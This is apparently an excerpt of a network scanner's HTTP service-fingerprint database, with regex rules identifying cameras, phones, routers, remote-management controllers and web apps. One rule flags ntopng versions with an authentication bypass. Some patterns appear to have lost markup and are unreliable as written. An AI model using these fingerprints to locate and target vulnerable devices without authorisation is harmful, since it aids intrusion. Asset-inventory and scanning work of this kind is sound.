          |s p/Silicondust HDHomeRun set top box http config/ v/$1/ i/model: $2; firmware: $3/ d/media device/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: NSG\r\nWWW-Authenticate: Basic Realm=Security\r\n| p/Harmonic NSG QAM video delivery httpd/ d/media device/ match http m|^HTTP/1\.0 302 Redirect\r\nServer: Httpd/1\.0\r\nDate: \w+ \w+ +\d+ \d+:\d+:\d+ \d\d\d\d\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nLocation: http:///login\.asp\r\n\r\n| p/CJ HelloVision DVW-2300N router http redirector/ d/WAP/ match http m|^HTTP/1\.1 403 Forbidden\r\nServer: Avaya Push Agent Ver x\.x\r\nDate: [A-Z]+ [A-Z]+ \d\d \d\d:\d\d:\d\d \d\d\d\d\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\n\r\n| p/Avaya Push Agent/ d/VoIP phone/ match http m|^HTTP/1\.0 302 Redirect\r\nServer: GS-Webs\r\nDate: .*\r\nLocation: http://\x07/index\.html\r\n\r\n|s p/Huacam Cyclops IP camera http config/ d/webcam/ match http m|^HTTP/1\.0 302 Redirect\r\nServer: IP-Phone-Web\r\nDate: [A-Z]+ [A-Z]+ \d+ \d+:\d+:\d+ \d+\r\n| p|TalkSwitch/FortiVoice web manager| d/VoIP phone/ match http m|^HTTP/1\.1 502 Bad Request\r\nContent-Length: \d+\r\n\r\n\r\n\r\nError 502 - Bad Request
          \r\nThe server could not resolve your request for uri: http://[\d.]+/\r\n\r\n| p/Blackberry phone httpd/ d/phone/ match http m|^HTTP/1\.1 403 Forbidden\r\nDate: [A-Z]+ [A-Z]+ \d\d \d\d:\d\d:\d\d \d\d\d\d\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\n\r\nDocument Error: Forbidden\r\n\t\t

          Access Error: Forbidden

          \r\n\t\t

          HTTP/1\.0 403 Forbidden\n

          \r\n\r\n| p/Avaya 9670 VoIP Phone httpd/ d/VoIP phone/ cpe:/h:avaya:9670/a match http m|^HTTP/1\.1 302 Found\r\nLocation: http://([\w._-]+)/\?cfru=aHR0c.*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nContent-Length: \d+\r\n\r\n\r\nRedirect\r\n\r\n\r\n\r\n
          \r\n
          \r\n
          \r\n
          | p/Cisco 7912G IP Phone/ d/VoIP phone/ cpe:/h:cisco:7912g/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"[\d.]+\", qop=\"auth\", nonce=\"[0-9a-f]+\"\r\n.*BMC HTTP Server\r\n|s p/BMC HTTP Server/ i/HP Integrated Lights-Out remote management/ d/remote management/ cpe:/h:hp:integrated_lights-out/ match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\r\nDate: .*\r\nConnection: close\r\nLast-Modified: .*\r\nContent-length: \d+\r\n.*RGB VIA Platform Home Page\r\n|s p/BusyBox httpd/ i/RGB Modular Media Converter http config/ d/media device/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"Web UI Access\", nonce=\"[0-9a-f]{32}\", opaque=\"[0-9a-f]{32}\", stale=\"false\", algorithm=\"MD5\", qop=\"auth\"\r\n\r\n$| p/qBittorrent Web UI/ cpe:/a:qbittorrent:qbittorrent/ match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\n\r\n\r\n\r\n\r\n\r\n\r\n

          SDR-IP

          by

          RFSPACE

          \r\n\r\n\r\n$| p/RF-Space SDR-IP software radio http config/ d/specialized/ cpe:/h:rf-space:sdr-ip/ match http m|^HTTP/1\.0 404 Not Found\r\nDate: .*\r\nConnection: close\r\nContent-type: text/html\r\nServer: Flumotion/([\w._-]+)\r\n| p/Fluendo Flumotion httpd/ v/$1/ match http m|^HTTP/1\.0 200 ;OK\r\nServer: \?\?\?\?\?\?\?\?\?\?\?\?\?\?\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n\n\n\nEATON\n| p/Eaton Powerware Environmental Rack Monitor httpd/ d/power-misc/ match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlasma Monitor web control system\r\n| p/Pioneer PRO-141 monitor http config/ d/media device/ cpe:/h:pioneer:pro-141/ match http m|^HTTP/1\.0 200 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Ubicom/([\w._-]+)\r\n.*Microtek WES : Login\r\n|s p/Ubicom/ v/$1/ i/Microtek ML-WES WAP http config/ d/WAP/ cpe:/h:microtek:ml-wes/ match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nContent-Type:text/html\r\nContent-Length: *\d+\r\n\r\n\n\n\n\n| p/ISPmanager SSL redirector/ match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nAccess-Control-Allow-Origin: \*\r\nCache-Control: no-cache\r\nContent-type: text/html; charset=utf-8\r\nDate: .*\r\n\r\n\r\nJointSpace| p/jointSPACE TV application framework/ d/media device/ match http m|^HTTP/1\.1 200 OK\r.*\nlibAbsinthe: (r[\d.]+)\r\n|s p/Legify Absinthe/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Web Server\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?\r\n \r\nNETGEAR ([^<]+)|s p/Netgear $1 http config/ d/switch/ cpe:/h:netgear:$1/a match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"Domoticz\.com\"\r\n\r\n|s p/Domoticz home automation httpd/ match http m|^HTTP/1\.1 200 OK\r\nLast-Modified: .*\r\nContent-Length: \d+\r\nContent-Type: text/html;charset=UTF-8\r\nAccess-Control-Allow-Origin: \*\r\n\r\n\n\n\n\t\t\n\t\tDomoticz| p/Domoticz home automation httpd/ match http m|^HTTP/1\.0 302 Redirect\r\nSet-Cookie: mainServerInstance=; path=/\r\nSet-Cookie: CrushAuth=| p/CrushFTP web interface/ cpe:/a:crushftp:crushftp/ match http m|^HTTP/1\.1 401 Unauthorized\r\nSet-Cookie: mainServerInstance=; path=/\r\nSet-Cookie: CrushAuth=| p/CrushFTP web interface/ cpe:/a:crushftp:crushftp/ match http m|^HTTP/1\.1 200 OK\r\nServer: pyTivo/([\d.]+)\r\n| p/pyTivo http interface/ v/$1/ d/media device/ match http m|^HTTP/1\.1 302 FOUND\r\nX-Hue-Jframe-Path: /\r\n| p/Cloudera Hue http Hadoop UI/ match http m=^HTTP/1\.1 200 OK\r.*\nLiferay-Portal: Liferay Portal (Community|Enterprise) Edition ([^(]+) \([A-Z][a-z]+ / Build (\d+) / [^)]+\)\r.*\nServer: Apache\r\n=s p/Liferay Portal $1 Edition/ v/$2/ i/build $3; Apache Tomcat/ cpe:/a:apache:tomcat/ match http m|^HTTP/1\.1 401 Unauthorized\nContent-Type: text/html;\nConnection: close\nWWW-Authenticate: Basic realm=\"Default: admin/admin\"\nContent-Length: \r\n\r\nSitecom Multi-Functional USB Server ([^<]+)| p/Sitecom $1 http config/ match http m|^HTTP/1\.0 200 OK\r\nCache-control: no-cache\r\nPragma: no-cache\r\nExpires: \"[^"]+\"\r\nContent-length: \d+\r\nContent-type: text/html\r\n\r\n\n\nILV701PL Web Configuration - Authentication| p/LEXCOM ILV701PL IPTV receiver http config/ d/media device/ match http m|^HTTP/1\.0 500 Server Error\nContent-Type: text/html\n\nhaserl CGI Error
          \n\[string \"([^"]+)\"\]:\d+:| p/Haserl CGI wrapper/ i/CGI path: "$1"/
          match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Type: text/html\r\nWWW-Authenticate: Basic realm=\"yhhtpd\r\n| p/Neutrino yhttpd 3.X/
          match http m|^HTTP/1\.0 200 OK\r\nServer: xLightweb/([\d.]+)\r\nContent-Length: 0\r\nConnection: close\r\nAccess-Control-Allow-Origin: \*\r\nCache-Control: no-cache\r\nAccess-Control-Allow-Headers: device-os, device-mo, app-build, device-id, device-no, device-ip, tracker, sub-id, sid\r\n\r\n| p/xLightweb httpd/ v/$1/
          match http m|^HTTP/1\.0 200 Document follows\r\nServer: XCD WebAdmin\r\nContent-Type: text/html\r\n\r\n| p/Intermec EasyLAN print server http admin/ d/print server/
          match http m|^HTTP/1\.1 200 OK\r\nServer: Dump1090\r\n| p/Dump1090 Mode S decoder http viewer/
          match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nLast-Modified: .*\r\nETag: \"[^"]\"\r\nAccept-Ranges: bytes\r\nContent-Length: \d+\r\nConnection: close\r\nContent-Type: text/html\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n\n| p/Fortinet FortiGate SSL VPN/ d/security-misc/
          match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: qHTTPs\r\n| p/AEG Powersolutions UPS View http viewer/ d/power-device/
          match http m|^HTTP/1\.1 200 OK\r\nSet-Cookie: sid=[^;]+; path=/; httponly\r\nSet-Cookie: sid\.sig=[^;]+; path=/; httponly\r\nDate: .*\r\nConnection: close\r\n\r\n.*

          Webhook Deployer v([\w._-]+)|s p/Node.js/ i/Webhook Deployer v$1/ cpe:/a:nodejs:node.js/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nContent-Length: \d+\r\nServer: SIMP LIGHT\r\n\r\nSIMP Light web server \[ver\. ([\w._-]+)\]| p/SIMP Light SCADA httpd/ v/$1/ match http m|^HTTP/1\.[01] 401 Unauthorized\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n(?:Connection: close\r\n)?X-Plex-Protocol: 1\.0\r\n| p/Plex Media Server httpd/ cpe:/a:plex:plex_media_server/ match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\" [^>]*platform=\"Linux\" platformVersion=\"(((?:2\.)?\d\.\d+)[^"]+)\" [^>]*version=\"([^"]+)| p/Plex Media Server httpd/ v/$4/ i/friendlyName: $1; OS version $2/ o/Linux $3/ cpe:/a:plex:plex_media_server:$4/ cpe:/o:linux:linux_kernel:$3/ match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\" [^>]*platform=\"([^"]+)\" platformVersion=\"([^"]+)\" [^>]*version=\"([^"]+)| p/Plex Media Server httpd/ v/$4/ i/friendlyName: $1; OS version $3/ o/$2/ cpe:/a:plex:plex_media_server:$4/ # Sometimes the version is too far down the page :( match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\" [^>]*platform=\"Linux\" platformVersion=\"(((?:2\.)?\d\.\d+)[^"]+)\"| p/Plex Media Server httpd/ i/friendlyName: $1; OS version $2/ o/Linux $3/ cpe:/a:plex:plex_media_server/ cpe:/o:linux:linux_kernel:$3/ match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\" [^>]*platform=\"([^"]+)\" platformVersion=\"([^"]+)\"| p/Plex Media Server httpd/ i/friendlyName: $1; OS version $3/ o/$2/ cpe:/a:plex:plex_media_server/ match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\"| p/Plex Media Server httpd/ i/friendlyName: $1/ cpe:/a:plex:plex_media_server/ match http m|^HTTP/1\.0 302 Moved Temporarily\r\nContent-Type: text/html\r\nSet-Cookie: cookie_session_id_0=\d+; path=/;\r\nCache-Control: public\r\nPragma: cache\r\nExpires: .*\r\nDate: .*\r\nLast-Modified: Thu, 01 Jan 1970 00:00:00 GMT\r\nAccept-Ranges: bytes\r\nConnection: close\r\nLocation: https?://[\w._-]+:\d+/index\.cgi\?active%5fpage=9091&req%5fmode=0\r\n\r\n| p/OpenRT httpd/ o/OpenRT/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"(iRMC S\d)@iRMC([0-9A-F]{6})\", qop=\"auth\", nonce=\"[0-9a-f-]+\", opaque=\"[0-9a-f]+\", stale=\"FALSE\" \r\n(?:Connection: close\r\n)?Cache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\n\r\n296\r\n| p/Fujitsu $1 httpd/ i/Host ID (MAC) $2/ d/remote management/ match http m|^HTTP/1\.1 400 Bad Request\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset=utf-8\r\nProxy-Connection: close\r\nConnection: close\r\nContent-Length: 727\r\n\r\n\r\nRequest Error\r\n\r\n\r\n\r\n
          | p/ISPConfig http control panel/ match http m|^HTTP/1\.0 401 Authorization Required\r\nServer: alphapd\r\nDate: .*\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-type: text/html\r\nWWW-Authenticate: Digest realm=\"(TV-IP\d\d\d\w*)\",qop=\"auth\", nonce=\"[a-f0-9]+\"\r\n\r\n| p/TRENDnet $1 httpd/ d/webcam/ cpe:/h:trendnet:$1/a #example $2 = "MediaCloset\0" match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\n\r\nAPC Back-UPS ([^(]+)\(([^)]+)\)| p/APC Back-UPS $1 http admin/ i/$P(2)/ match http m|^HTTP/1\.1 401 UNAUTHORIZED\r\nWWW-Authenticate: Basic realm=\"Login Required\"\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 90\r\nDate: .*\r\nServer: ([\w._-]+)\r\n\r\nCould not verify your access level for that URL\.\nYou have to login with proper credentials| p/Maraschino XBMC http interface/ h/$1/ match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: session=[0-9a-f]{40}; Path=/; HttpOnly\r\nX-Auth-Status: none\r\nContent-Type: text/html\r\nDate: .*\r\nConnection: close\r\nContent-Length: \d+\r\n\r\n.* href=\"/ajenti:static/|s p/Ajenti http control panel/ cpe:/a:ajenti:ajenti/ match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Hydra/([\w._-]+)\r\nAccept-Ranges: bytes\r\nConnection: close\r\nContent-Length: \d+\r\nLast-Modified: .*\r\nETag: \"[^"]+\"\r\nContent-Type: text/html\r\n\r\n\n\nIntelligent Switch>\n| p/Hydra httpd/ v/$1/ i/ZyXEL GS1600 or GS1900 switch/ d/switch/ cpe:/a:nikos_mavroyanopoulos:hydra:$1/ match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nAccept-Ranges: bytes\r\nConnection: close\r\nContent-Length: \d+\r\nLast-Modified: .*\r\nETag: \"[^"]+\"\r\nContent-Type: text/html\r\n\r\n\n\nIntelligent Switch>\n| p/Hydra httpd/ i/ZyXEL GS1600 or GS1900 switch/ d/switch/ cpe:/a:nikos_mavroyanopoulos:hydra/ match http m|^HTTP/1\.1 200 OK\r\nSet-Cookie: JSESSIONID=[0-9A-F]{32}; Path=/\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\nServer: \r\n\r\n| p/Cisco Unified Communications Manager httpd/ cpe:/a:cisco:unified_communications_manager/ # version 8.5.1 reported with SAMEORIGIN, but not in 8.6 # version 8.6 has Secure; HttpOnly match http m|^HTTP/1\.1 200 OK\r\n(?:X-Frame-Options: SAMEORIGIN\r\n)?Set-Cookie: JSESSIONID=[0-9A-F]{32}; Path=/; Secure; HttpOnly\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\nServer: \r\n\r\n| p/Cisco Unified Communications Manager httpd/ cpe:/a:cisco:unified_communications_manager/ # TODO: Which version has HttpOnly and not Secure? match http m|^HTTP/1\.1 200 OK\r\nX-Frame-Options: SAMEORIGIN\r\nSet-Cookie: JSESSIONID=[0-9A-F]{32}; Path=/; HttpOnly\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\nServer: \r\n\r\n| p/Cisco Unified Communications Manager httpd/ cpe:/a:cisco:unified_communications_manager/ match http m|^HTTP/1\.0 500 No such header: Host\r\nserver: Ag \[47\]\r\ncontent-type: text/html\r\n\r\n\n\n\n\n

          500: No such header: Host

          \n\n\r\n| p/ZyXEL Keenetic http admin/ d/broadband router/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nConnection: close\r\n\r\nBasic Status\n| p/NetComm Wireless ADSL router http admin/ d/WAP/ match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: Easy Chat Server/([\w._-]+)\r\n| p/Easy Chat Server httpd/ v/$1/ match http m|^HTTP/1\.1 503 Service Unavailable\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-Length: \d+\r\nX-Iinfo: ?[\d-]+ .NNN RT\(\d+ \d+\) q\([ 0-9-]+\) r\([ 0-9-]+\)| p/Incapsula CDN httpd/ match http m|^Evolis TCP/IP\r\n| p/Evolis ID card printer httpd/ d/printer/ match http m|^HTTP/1\.0 200 OK\r\nServer: pilight\r\n| p/pilight home automation webGUI/ match http m|^HTTP/1\.0 302 Moved Temporarily\r\nX_Language: .*\r\nContent-Type: text/html\r\nServer: Embedthis-http\r\nLocation: https://([^/]+)/start\.html\n\r\n| p/Embedthis httpd/ i/Dell iDRAC 7/ d/remote management/ h/$1/ cpe:/h:dell:idrac7/ match http m|^HTTP/1\.[01] 30[12] Moved .*\r\nServer: Mbedthis-Appweb/([\d.]+)\r\nLocation: https://([^/]+)/start\.html\n\r\n| p/Embedthis Appweb httpd/ v/$1/ i/Dell iDRAC/ d/remote management/ h/$2/ cpe:/a:mbedthis:appweb:$1/ match http m|^HTTP/1\.[01] 30[12] Moved [^\r\n]+\r\n(?:[^\r\n]+\r\n)*?Location: https://([^/]+)/start\.html\n\r.*\nETag: [^\r\n]+ ([A-Z]+)\r\n|s p/Dell iDRAC http admin/ i/time zone: $1/ d/remote management/ h/$2/ match http m|^HTTP/1\.[01] 30[12] Moved [^\r\n]+\r\n(?:[^\r\n]+\r\n)*?Location: https://([^/]+)/start\.html\n\r\n|s p/Dell iDRAC http admin/ d/remote management/ h/$1/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nContent-Type: text/html\r\nContent-Length: 165\r\nLocation: http://oishare/DCIM\r\n\r\n\r\n301 Moved Permanently\r\n

          301 Moved Permanently

          \r\n\r\n\r\n| p/Olympus camera httpd/ match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: \r\nCache-Control: no-cache, private\r\nPragma: no-cache\r\nExpires: .*\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n\r\n\r\n\r\n(NWA[\w-]+)| p/ZyXEL $1 http config/ d/WAP/ cpe:/h:zyxel:$1/a match http m|^HTTP/1\.0 404 Not Found\r\nServer: thttpd/([\w.]+)-Avtrex/([\w._-]+)\r\n| p/thttpd/ v/$1/ i/Avtrex $2/ d/media device/ cpe:/a:acme:thttpd:$1/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nConnection:close\r\n\r\n\r\n\r\n\r\n\tBerryz WebShare| p/Berryz WebShare/ match http m|^HTTP/1\.1 500 Internal error\r\nCache: no-cache\r\nContent-Type: text/plain\r\nContent-Length: 28\r\n\r\nCardo Updater Internal error| p/Cardo Updater/ match http m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/html\r\nCONTENT-LENGTH: 260\r\n\r\n.*

          PRESENTATION PAGE

          |s p/Pioneer VSX-921, Denon DNP-720AE, or Marantz AV7005 AV receiver http config/ d/media device/ match http m|^HTTP/1\.1 401 Authorization Required\r\nWWW-Authenticate: Basic realm=\"Fhem: login required\"\r\nContent-Length: 0\r\n\r\n| p/FHEMWEB Fhem frontend/ cpe:/a:rudolf_koenig:fhem/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\nYouLess energy monitor| p/YouLess energy monitor httpd/ d/power-device/ match http m|^HTTP/1\.1 500 Server Error\r\nContent-Length: 0\r\nServer: HBHTTP POGOMVOFFICE - ([\w._-]+) - Linux\r\nDate: .*\r\nConnection: close\r\n\r\n| p/Pogoplug Office NAS httpd/ v/$1/ d/storage-misc/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: AmazonS3\r\n\r\n404|s p/Amazon S3 httpd/ match http m|^HTTP/1\.0 404 Not Found\r\nX-Powered-By: Servlet/([\d.]+)\r\nContent-Type: text/html\r\nDate: .*\r\n\r\n

          SRVE0255E: A WebGroup/Virtual Host to handle / has not been defined\.


          SRVE0255E: A WebGroup/Virtual Host to handle localhost:\d+ has not been defined\.


          IBM WebSphere Application Server| p/IBM Tivoli Enterprise Portal/ i/Servlet $1/ cpe:/a:ibm:websphere_application_server/ match http m|^HTTP/1\.1 302 Moved Temporarily\r\nLocation: http://([\w.-]+)/index\.do\r\nContent-Type: text/html;charset=UTF-8\r\nContent-Length: 0\r\nDate: .*\r\nConnection: close\r\nServer: ThinkFree Server\r\n\r\n| p/ThinkFree Server Integrator/ h/$1/ match http m|^HTTP/1\.1 \d\d\d .*
          nginx/([\d.]+)
          \r?\n\r?\n[\r\n]+$|s p/nginx/ v/$1/ cpe:/a:igor_sysoev:nginx:$1/ match http m|^HTTP/1\.1 302 Found\r\nDate: .*\r\nCache-Control: no-cache\r\nX-Runtime: \d+\r\nSet-Cookie: spiceworks_session=[^;]+; path=/; HttpOnly\r\nLocation: https?://([\w.-]+):\d+/login\r\n| p/Spiceworks http admin/ h/$1/ match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Clearswift\r\n| p/Clearswift Secure Web Gateway/ d/security-misc/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nAccept-Ranges: bytes\r\nETag: \"[^"]+\"\r\nLast-Modified: .*\r\nContent-Length: \d+\r\nConnection: close\r\nDate: .*\r\nServer: dcs-lig-httpd\r\n\r\n| p/lighttpd/ i/D-Link DCS IP camera/ d/webcam/ cpe:/a:lighttpd:lighttpd/a match http m|^HTTP/1\.1 200 OK\r\nContent-type: text/html\r\nExpires: .*\r\nConnection: close\r\nPragma: no-cache\r\nContent-Length: \d+\r\n\r\n\n\n\n Xfinity| p/Xfinity router http config/ d/broadband router/ # Panasonic TX-P55VTW60 match http m|^HTTP/1\.0 404 Not Found\r\nServer: Panasonic AVC Server/([\w._-]+)\r\nConnection: close\r\nCache-Control: no-cache,no-store\r\nContent-Length: 0\r\n\r\n| p/Panasonic AVC httpd/ v/$1/ d/media device/ match http m|^HTTP/1\.0 403 Forbidden\r\nContent-Length: 15\r\nContent-Type: text/html\r\nAccess-Control-Allow-Origin: \*\r\nAccess-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept\r\nAccess-Control-Allow-Methods: POST, GET, OPTIONS\r\n\r\nInvalid request| p/Amazon MP3 Downloader httpd/ match http m|^HTTP/1\.0 302 Redirect\r\nServer: Hikvision-Webs\r\nDate: .*\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nLocation: http://([\w.-]+):\d+/index\.[asphtm]+\r\n\r\n| p/Hikvision DVR httpd/ d/media device/ h/$1/ match http m|^HTTP/1\.1 400\r\nContent-Length: 22\r\nContent-Type: text/plain\r\n\r\nMalformed Request-Line| p/SABnzbd newsreader httpd/ match http m|^HTTP/1\.1 200 OK\r\nServer: HP_Compact_Server\r\nContent-Length: \d+\r\n-onnection: keep-alive\r\nContent-Type: text/html\r\n| p/HP LaserJet printer http admin/ d/printer/ # ntopng <= 1.1 (r7342) had an auth bypass because processing isn't terminated after redirect. match http m|^HTTP/1\.1 302 Found\r\nSet-Cookie: session=; path=/; expires=Thu, 01-Jan-1970 00:00:01 GMT; max-age=0; HttpOnly\r\nLocation: /login\.html\r\n\r\nHTTP/1\.1 200 OK\r\nCache-Control: max-age=0, no-cache, no-store\r\nPragma: no-cache\r\nServer: ntopng ([\d.]+) \((r\d*)\)\r\n| p/ntopng http interface/ v/$1/ i/SVN $2; auth bypass/ cpe:/a:ntop:ntopng:$1/ match http m|^HTTP/1\.1 302 Found\r\nSet-Cookie: session=; path=/; expires=Thu, 01-Jan-1970 00:00:01 GMT; max-age=0; HttpOnly\r\nLocation: /login\.html\r\n\r\n$| p/ntopng http interface/ v/1.2/ cpe:/a:ntop:ntopng:1.2/ match http m|^HTTP/1\.1 302 Found\r\nSet-Cookie: session=; path=/; expires=Thu, 01-Jan-1970 00:00:01 GMT; max-age=0; HttpOnly\r\nLocation: /lua/login\.lua\?referer=/\r\n\r\n| p/ntopng http interface/ v/2.0 or later/ cpe:/a:ntop:ntopng/ match http m|^HTTP/1\.0 200 OK\r\nDate: .*\nServer: owhttpd\r\nLast-Modified: .*\r\nContent-Type: text/html\r\n\r\n| p/OWFS httpd/ cpe:/a:owfs:owhttpd/ match http m|^HTTP/1\.0 401 Unauthorized\r\nPragma: no-cache\r\nWWW-Authenticate: Digest realm=\"([^"]+)\", domain=\"/\", nonce=\"[\da-f]+\", algorithm=\"MD5\", qop=\"auth\"\r\nWWW-Authenticate: Basic realm=\"\1\"\r\nContent-Type: text/html\r\n.*\r\n\r\nError 401|s p/Tandberg videoconference httpd/ i/"$1"/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nSet-Cookie: rg_cookie_session_id=.*.*(MP\d\w+)|s p/Audiocodes $1 gateway http config/ d/VoIP adapter/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nDate: .*\r\nConnection: close\r\n\r\n\n\n \n rabbit\.js and Socket\.IO publish/subscribe example| p/Node.js/ i/rabbit.js messaging example page/ cpe:/a:nodejs:node.js/ match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\r\nDate: .*?\r\nConnection: close\r\n\r\n.*\n|s p/DVRWeb viewer/ v/$SUBST(1,",",".")/ i/CmdPort $2; StreamPort $3/ match http m|^HTTP/1\.0 200 OK\r\nServer: KwikNet Web Server\r\n| p/Kadak KwikNet httpd/ match http m|^HTTP/1\.1 406 Not Acceptable\r\nContent-Type: text/html\r\nServer: MineloadHTTPD\r\n\r\nInvalid XML password\.| p/Mineload Bukkit plugin/ match http m|^HTTP/1\.1 401 Unauthorized\r\nDate: .*\r\nServer: cPanel\r\n| p/cPanel httpd/ i/unauthorized/ match http m|^HTTP/1\.1 200 OK\r\nPragma: no-cache\r\nCache-control: no-cache\r\nDate: .*\r\nServer: eXtensible UPnP agent\r\nAccept-Ranges: none\r\nConnection: close\r\nContent-Type: text/html\r\nEXT:\r\n\r\n.*Uptime: (\d+ days, [\d:]+).*Model: xupnpd-([\w._-]+)|s p/xupnpd http admin/ v/$2/ i/uptime: $1/ match http m|^HTTP/1\.1 200 OK\r\nServer: fexsrv\r\nLast-Modified: .*\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n| p/F*EX (Frams' Fast File EXchange) server/ cpe:/a:ulli_horlacher:fex/ match http m|^HTTP/1\.0 403 Forbidden\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: \d+\r\nPragma: no-cache\r\n\r\n\r\n\r\n\r\n\r\n \" >| p/Novell Access Gateway/ match http m|^HTTP/1\.0 302 Moved Temporarily\r\nContent-Type: text/html\r\n(?:X-Frame-Options: SAMEORIGIN\r\n)?Set-Cookie: wbm_cookie_session_id=[\dA-F]+; path=/; HttpOnly\r\n(?:Cache-Control: public,max-age=86400\r\nPragma: cache\r\nExpires: .*\r\n)?Date: .*\r\n(?:Last-Modified: .*\r\n)?Accept-Ranges: bytes\r\nConnection: close\r\nLocation: /main\.cgi\?page=index\.html\r\n\r\n| p/Vodafone Station http config/ d/WAP/ # Also responds to GenericLines (v6.60) match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nLast-Modified: .*\r\nContent-Type: text/html\r\nConnection: Close\r\nContent-Length: \d+ +\r\n\r\n.+>Dual DHCP DNS Server Version ([\w._-]+ Windows Build \d+)<|s p/Dual DHCP DNS Server http viewer/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.1 200 Ok\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nConnection: close\r\nRefresh: 5;url=/\r\n\r\n.*

          PowerMTA™ ([\w._-]+) 
          \r\n
